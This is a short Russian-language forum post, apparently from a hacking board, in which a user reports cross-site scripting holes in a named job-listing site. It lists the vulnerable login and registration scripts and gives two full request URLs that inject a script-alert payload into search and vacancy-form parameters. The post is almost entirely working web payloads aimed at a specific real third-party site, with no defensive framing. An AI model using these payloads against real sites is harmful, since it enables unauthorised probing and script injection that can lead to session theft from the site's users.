Показать сообщение отдельно

  #5  
Старый 31.12.2007, 14:29
v1ru$
Постоянный
Регистрация: 17.03.2007
Сообщений: 336
С нами: 10080326

Репутация: 576
По умолчанию

http://job.rengo.ru/cgi-bin/login.pl
xss в логине
http://job.rengo.ru/cgi-bin/usr_reg.pl
xss везде
Код:
http://job.rengo.ru/cgi-bin/story.pl?action=success&page_num=1'%22%3E%3Cscript%3Ealert(99)%3C/script%3E
Код:
http://job.rengo.ru/cgi-bin/vmanager.pl?profession=&spec=68&expert=0&leader=0&min_age=&max_age=&edu=0&gen=N&work_place=0&city=1&metro=0&metrotime=0&city2=&min_sal=&max_sal=&work_type=0&work_graf=0&duty=&demand=&condition=&descr=&org=%22%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&sphere=2&cont_name=%22%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&phone_country=7&phone_code=495&phone_main=945646&phone_text=%22%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&email=%22%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&code=%22%3E%3Cscript%3Ealert%2899%29%3C%2Fscript%3E&prior_days=0&home_days=0&preview=%CF%F0%E5%E4%EF%F0%EE%F1%EC%EE%F2%F0&action=addVacancy&set=add

Последний раз редактировалось v1ru$; 31.12.2007 в 14:46..
 
Ответить с цитированием